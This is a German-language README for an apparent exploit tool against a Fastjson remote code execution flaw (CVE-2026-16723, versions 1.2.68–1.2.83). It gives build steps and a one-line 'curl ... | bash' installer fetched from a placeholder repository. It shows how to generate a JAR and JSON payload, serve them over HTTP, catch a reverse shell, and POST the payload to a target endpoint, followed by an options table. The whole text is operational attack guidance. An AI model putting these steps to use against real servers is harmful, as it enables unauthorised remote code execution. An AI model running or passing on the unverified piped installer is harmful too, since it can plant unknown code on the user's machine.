
Exploit für Fastjson RCE (CVE-2026-16723), der auf die Versionen 1.2.68 bis 1.2.83 abzielt. Generiert JAR- und JSON-Payloads, hostet einen HTTP-Server und richtet eine Reverse Shell ein.
Eine eigenständige C++17-Implementierung für CVE-2026-16723, eine kritische Sicherheitslücke, die Fastjson-Versionen 1.2.68 – 1.2.83 betrifft.
Linux (oder WSL unter Windows)
C++17-kompatibler Compiler (GCC 7+ oder Clang 5+)
CMake 3.10 oder neuer
Systempakete:
libzip-devzlib1g-devsudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev
Alles mit einem einzigen Befehl installieren:
curl -sSL https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh | bash
Oder laden Sie das Installationsskript manuell herunter und führen Sie es aus:
wget https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh
Das Installationsskript übernimmt Folgendes:
Alle erforderlichen Systempakete installieren.
Die erforderlichen Header-only-Bibliotheken herunterladen:
nlohmann/jsoncpp-httplibDas Projekt kompilieren.
Die kompilierte Binärdatei im aktuellen Verzeichnis ablegen als:
./exploit
Wenn Sie das Repository geklont haben:
git clone https://github.com/yourusername/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh
Oder manuell kompilieren:
mkdir build
cd build
cmake ..
make -j$(nproc)
cp exploit ../
Führen Sie die Binärdatei aus:
./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]
./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000
Nach der Ausführung werden die folgenden Dateien erstellt:
x
body.json
Der HTTP-Server startet auf dem konfigurierten Port (Standard: 8000) und das Tool wartet auf eine eingehende Reverse-Shell-Verbindung.
Senden Sie die generierte Datei body.json an den verwundbaren Endpunkt:
curl -X POST http://<TARGET_IP>:8080/api/products/search \
-H "Content-Type: application/json" \
--data-binary @body.json
Falls die Anwendung ein anderes JSON-Feld erwartet, geben Sie es mit der Option --field an.
| File | Beschreibung |
|---|---|
x | Generierter JAR-Payload |
body.json | JSON-Payload zum Senden an das Ziel |
jar:http und jar:file herunterzuladen und zu laden.| Option | Beschreibung | Standard |
|---|
--lhost | Lokale IP-Adresse | Erforderlich |
--lport | Listening-Port der Reverse-Shell | 4444 |
--http-port | HTTP-Serverport | 8000 |
--first | Erster zu testender Dateideskriptor | 3 |
--last | Letzter zu testender Dateideskriptor | 30 |
--field | JSON-Feldname | facets |
--outdir | Ausgabeverzeichnis | . |
-h, --help | Hilfemeldung anzeigen | — |